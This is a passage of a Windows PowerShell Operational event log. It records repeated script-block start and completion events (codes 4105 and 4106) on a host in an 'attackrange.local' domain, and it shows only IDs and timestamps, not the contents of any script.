09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043613
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043607
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043585
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043583
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043582
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
